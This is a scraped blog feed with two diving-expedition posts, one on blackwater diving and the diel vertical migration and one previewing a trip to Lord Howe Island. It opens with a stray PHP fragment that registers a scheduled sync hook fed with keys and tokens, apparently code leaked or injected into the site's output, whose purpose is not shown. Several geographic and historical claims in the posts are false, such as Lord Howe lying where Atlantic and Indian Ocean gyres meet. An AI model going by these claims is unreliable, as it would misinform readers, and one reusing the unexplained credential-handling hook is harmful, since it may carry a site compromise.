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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Season 3 - Drenched Productions https://drenchedproductions.com - Expedition Drenched Sun, 24 Jul 2022 19:04:54 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://i0.wp.com/drenchedproductions.com/wp-content/uploads/2021/05/cropped-Expedition-Drenched-TRANSPARENT-BACKGROUND_3.png?fit=32%2C32&ssl=1 Season 3 - Drenched Productions https://drenchedproductions.com 32 32 193191625 We Went Blackwater Diving Over 9,000ft of Water to See the Diel Vertical Migration https://drenchedproductions.com/we-went-blackwater-diving-over-9000ft-of-water-to-see-the-diel-vertical-migration/ https://drenchedproductions.com/we-went-blackwater-diving-over-9000ft-of-water-to-see-the-diel-vertical-migration/#comments Sat, 02 Jul 2022 19:37:50 +0000 https://drenchedproductions.com/?p=2242 We put on our SCUBA gear, attached ourselves to ropes, and let the Sylfia drag us through 9,000ft deep open ocean water in the middle of the night. And we’d do it again! Expedition Drenched goes open ocean blackwater diving!

The post We Went Blackwater Diving Over 9,000ft of Water to See the Diel Vertical Migration first appeared on Drenched Productions.

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Blackwater Diving Over 9,000 FT of Water | Expedition Drenched

We Went Blackwater Diving Over 9,000ft of Water to See the Diel Vertical Migration

Expedition Drenched

02 July 2022

We put on our SCUBA gear, attached ourselves to ropes, and let the Sylfia drag us through 9,000ft deep open ocean water in the middle of the night. And we’d do it again! Expedition Drenched goes open ocean blackwater diving!

We’ve been on the Sylfia and the open water for almost two weeks now, slowly making our way from mainland Australia to Lord Howe Island. The voyage so far has been fairly problem-free and the new crew is adapting well to a life at sea. 

Night diving is something that the Expedition Drenched crew does pretty often. We love being underwater after dark to witness how the ocean changes when the sun goes away. This is when most of the creatures in the ocean start to move around looking for food. 

As we sail towards our next stop on our way to Lord Howe Island, we thought we’d take advantage of the extremely deep water we were in and do a blackwater dive. We won’t lie – we were all a bit nervous before the dive. Who wouldn’t be nervous to be underwater in the pitch-black attached to a boat that’s drifting and pulling you through the current? But those nerves disappeared soon after we jumped into the soup of creatures that the Diel Vertical Migration delivered right to us. 

Diel Vertical Migration - Largest Migration in the World

When people think of large animal migrations, they usually think of geese flying south for the winter or wildebeests travelling over the Serengeti because we can easily see these migrations. But actually, the largest migration in the world happens twice a day in the deep oceans. 

The term ‘diel vertical migration’ is easy to understand if you break down its parts. Diel means that it happens every day. Vertical refers to the direction of movement. And migration highlights the mass movement of animals. The average creature migrates 1,000m towards the surface when the sun goes down, then migrates 1,000m back to the depths at the end of the night. That’s a huge distance to travel since most creatures are quite small. It would be the equivalent of you having to run 10km to go get your dinner and then having to run 10km back home to go to bed.

Diel Migration | Expedition Drenched
Daily migration of marine life between the twilight zone and the ocean surface – animation by NASA
( https://earthobservatory.nasa.gov/blogs/fromthefield/2018/08/)

The Diel Vertical Migration is such a large event that it causes turbulence in the ocean water. Migrating jellyfish can move water upwards through the water column and this movement carries nutrients across water boundaries to new places.

The daily migrations of marine creatures were first noticed by French naturalist Georges Cuvier in the early 1880s. While the exact reason for such a large movement of animals is still unclear, the best explanation to date is that they swim toward surface waters to feed at night while conditions will keep them hidden from predators. Some creatures may migrate to take advantage of the reduced exposure to ultraviolet radiation, while others use the nighttime currents to move to areas with more food. 

The Diel Vertical Migration also plays a significant role in the carbon cycle. The creatures that feed at the surface during the night return to the depths for the daylight hours and they take their waste with them. This accelerates the rate at which carbon is transported to the sea floor and sequestered. With climate change still worsening, the conditions in the ocean are constantly changing. If conditions get too bad and the daily migration of these animals is disrupted, there could be huge implications for the environment. 

So, What Is Blackwater Diving?

Blackwater diving is exactly what it sounds like – diving in black water. It’s essentially a really special night dive. This type of diving is still relatively unknown to a lot of the SCUBA diving community but it is gaining popularity quite quickly. And for good reason, too. It’s an awesome experience.

There are three different types of blackwater dives: bonfire, near a reef, and open ocean (or off-shore). Each of these dives focuses on diving in dark water and experiencing the marine creatures that emerge at night, but each is unique and requires different things from a diver.

A bonfire dive is the easiest blackwater dive so it makes a good starting point to ease into this (sometimes scary) type of diving. It’s usually done in shallow water (10-18 meters) in an area with no current. Lights are placed on the ocean bottom pointing upwards (almost looking like a group of bonfires) and they attract all sorts of nocturnal animals.

A near reef blackwater dive is the most challenging type of blackwater dive, even though the name makes it sound pretty chill. These dives usually take place along a reef or wall where there is open ocean immediately adjacent. Lights that mimic moonlight are placed around 10-15 meters down in the water column and they attract life from the neighbouring reef or wall and the depths. A decent amount of diving experience is helpful to undertake this dive since the lack of visual references in the water often presents divers with buoyancy issues. 

The last type of blackwater diving sounds terrifying but is going to give you the best experience – open ocean blackwater diving. To do this dive correctly, you should be in the open ocean over thousands of feet of water and in a slight current. Since those conditions could mean drifting away in open water at night, open ocean blackwater diving has to be a bit different. Each diver is connected to a drop line that is also connected to the boat. They can ascend and descend along the rope but as the boat is pulled through the current, the divers will be pulled along with it. 

 

 

This is the type of dive that we’ve just done. For many of the crew, it was their first blackwater dive of any kind so nerves were a bit high, but so were the excitement levels. Plus, it was a perfect chance to take full advantage of the Sylfia’s brand new in-hull Lumitec Marine Lights. As we were on deck gearing up and going through our blackwater dive briefing, our awesome Lumitec lights were attracting all sorts of bizarre and other-worldly creatures up from the deep.

Lumitec Marine Lights | Expedition Drenched

Rainbows of Colour in the Dark, Dark Night

It’s hard to describe this dive to people who weren’t there. How can you properly describe seeing the most beautiful rainbows of colour in the pitch-dark night? The ocean creatures that drifted past our faces in the dark waters of the Pacific Ocean at 2:30 am absolutely blew our minds. 

We saw an incredible variety of bioluminescent creatures that emit their own light, like Comb jellyfish. These jellies have genes that produce photoproteins, a combination of two chemicals involved in light production. When calcium is added to the molecule, light is born. Comb jellies also produce rainbow effects when the comb-like plates on their bodies break up due to water turbulence and diffract the surrounding light. 

Lord Howe Night Dive | Expedition Drenched
Lord Howe Island - Blackwater Diving | Expedition Drenched
Blackwater Diving | Expedition Drenched
Black Abyss Diving | Expedition Drenched

 

Really and truly, the only way to understand what we saw on this amazing open ocean blackwater dive is to check out the Expedition Drenched Season 3 Episode 4 video that’s live on our YouTube channel now. Make sure you check it out and throw us a like and subscribe. Also, drop a comment and let us know about the cool stuff you’ve seen on a blackwater dive!

Next Stop - Elizabeth Reef

  • Coordinates: 29°57′25″S 159°4′32″E
  • Distance from Lord Howe Island: 175km
  • Width: 10.5km
  • Length: 6.1km
  • # of Recorded Fish Species: 311

Our next stop is Elizabeth Reef, roughly 175km north of Lord Howe Island. Elizabeth Reef and neighbouring Middleton Reef form the Lord Howe Rise, an underwater plateau. They’re both also part of a regulated marine park so it should be a stunning location for some seriously wicked dives. 

One of the most exciting things about Elizabeth Reef is the high recorded number of Galapagos sharks. These sharks are only found around Lord Howe Island and Lord Howe Rise so they were already one of the draws of our expedition to the area. But the high number of Galapagos sharks at Elizabeth Reef may suggest that the reef acts as a nursery and that is a very exciting prospect for the shark-loving Sylfia crew.

Stay tuned to our YouTube channel and come explore this idyllic coral reef with us!

 

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Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

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The post We Went Blackwater Diving Over 9,000ft of Water to See the Diel Vertical Migration first appeared on Drenched Productions.

]]> https://drenchedproductions.com/we-went-blackwater-diving-over-9000ft-of-water-to-see-the-diel-vertical-migration/feed/ 1 2242 How Did We Get So Lucky? We’re Hitting the Sea for Expedition Drenched Season 3 https://drenchedproductions.com/lord-howe-island/ https://drenchedproductions.com/lord-howe-island/#comments Wed, 22 Jun 2022 02:31:37 +0000 https://drenchedproductions.com/?p=2027 Our sails are raised and we’re hitting the sea for Expedition Drenched Season 3 - full steam ahead! This season our adventures take us to the Lord Howe Archipelago, a mind-blowing UNESCO world heritage site.

The post How Did We Get So Lucky? We’re Hitting the Sea for Expedition Drenched Season 3 first appeared on Drenched Productions.

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Expedition Drenched Season 3

How Did We Get So Lucky?
We’re Hitting the Sea for Expedition Drenched Season 3

Expedition Drenched

22 June 2022

It’s finally time for us to hit the water again. It’s finally time for Expedition Drenched Season 3!

The Sylfia and her crew have an incredible, almost unreal destination in our sights for our next voyage – Lord Howe Island in the Tasman Sea between Australia and New Zealand. Lord Howe is one of the last unspoiled spots in Australia and frankly, it looks like you’ve gone back in time when you sail up to her shores.

The Lord Howe Island archipelago contains 28 different islands, including the tallest volcanic sea stack in the world, and boasts a surprising number of land and marine species that are endemic to only this stunning collection of remote islands. 

Let’s take a look at Lord Howe Island and the archipelago to get a bit of a preview of what the Expedition Drenched Season 3 crew will be doing this season.

 

  • Island length: 11km
  • Island width: 2km (at its widest)
  • Total area: 14.5 sq. km
  • Liveable area: 3.96 sq. km
  • Local population: approx. 350 people
  • Permitted visitors: only 400 at a time
  • Distance to mainland Australia:700km
  • Flight time to mainland Australia: less than 2 hours

The Birth of Lord Howe Island

Lord Howe Island had a dramatic, violent birth. It and the other islands of the archipelago were formed by an underwater volcanic eruption approximately 7 million years ago. The lapping waves of the surrounding ocean have slowly eroded the volcano away, leaving behind the towering, jagged cliffs and mountains that give Lord Howe its Jurrasic Park-like appearance. 

Lord Howe Island itself is marked by two volcanic peaks, Mount Gower and Mount Lidgbird, with elevations of 2,870 feet and 2,550 feet above sea level, respectively. 

The archipelago spent millions of years growing up untouched by humans. Currently, there is no evidence to support any theories that Australian aboriginals or Pacific Islanders discovered the group of islands. But this quiet life was disrupted when explorers and settlers began to arrive in the late 18th century. 

Scuba Diving the Lord Howe Archipelago

The best time to pack up your dive gear and jump over to Lord Howe Island is between September and May since that’s the summer period. But the winter months of June, July, and August can still be quite sunny and warm, and there is still a lot to do around the archipelago during the off-season.

The Lord Howe Archipelago is located at the crossroads of all five of the major ocean currents: the North Atlantic, the South Atlantic, The North Pacific, the South Pacific, and the Indian Ocean Gyre. That might sound a bit intimidating but that level of water movement brings in HUGE amounts of marine food to the archipelago and therefore attracts marine life from the tiniest sea slugs to huge whales. 

The Lord Howe Island Marine Park is the only place in Australian waters that can boast the presence of Galapagos sharks, too. They grow to an average of 3 meters in length, with the largest ones being just under 4 meters long. Weighing approximately 150 kilograms, these beautiful creatures will make any scuba diving trip to Lord Howe Island well worth it.

Expedition Drenched Season 3 Lord Howe Island
Lord Howe Island | Expedition Drenched

Only Available in the Lord Howe Archipelago

The ecosystems of the Lord Howe Island Archipelago support a huge array of distinct flora and fauna groups and a surprising variety of unique and endemic species, both above the water and below. 

Impressively, of the 1,600 inspect species that have been documented on the island, 60% are found nowhere else on the planet. Of the 241 species of indigenous plants found in the area, 47% are found nowhere else on the planet. Lord Howe Island is definitely a destination for adventurous people who want to see versions of natural life that most people have never had the chance to see. 

Under the waves of the water that cradles the islands of the archipelago, the world is just as diverse, bizarre, and unique. Over 500 species of fish make the island waters their home and over 90 different types of coral species have been working over millennia to build the stunning reefs that dot the ocean landscape.

Howe Do You Get There?

Well, if you’re like us, the only way to rock up to Lord Howe is in your own boat after taking a multi-day journey on the Pacific Ocean with a hull full of your favorite pirates. But that’s not really an option for most people.

If you can’t sail your own boat over, your only other option is to travel to Lord Howe by air. Qantas runs flights direct to Lord Howe from Sydney for a reasonable price. Prior to the COVID-19 pandemic, the airline was running one flight a day to the island paradise, but now the flight frequency has dropped considerably. Make sure to check the Qantas website for up-to-date flight schedules. 

Since the Lord Howe Archipelago is part of Australia, you don’t need any special visa or permission to pop over and check the place out. Once you’re in Australia, you’re good to go!

Get Stoked About Expedition Drenched Season 3

Expedition Drenched Season 3 will definitely prove to be a season full of vivid memories, life-changing moments, and ocean-loving adventures. Like us on YouTube and subscribe to our YouTube channel to make sure that you get the episodes as soon as we’ve released them.

And don’t forget, it’s only possible for us to do what we do if we have your generous support. If you’re enjoying the content we produce, have a passion for marine conservation, or just want to find a way to get involved, consider popping over to our website to donate to our cause, or grab some sweet Expedition Drenched merchandise from our online shop. All proceeds from sales also go to funding our incredible ocean-saving dream.

All aboard! It’s time to shove off east towards all the wonders that Lord Howe Island has in store for us!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

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The post How Did We Get So Lucky? We’re Hitting the Sea for Expedition Drenched Season 3 first appeared on Drenched Productions.

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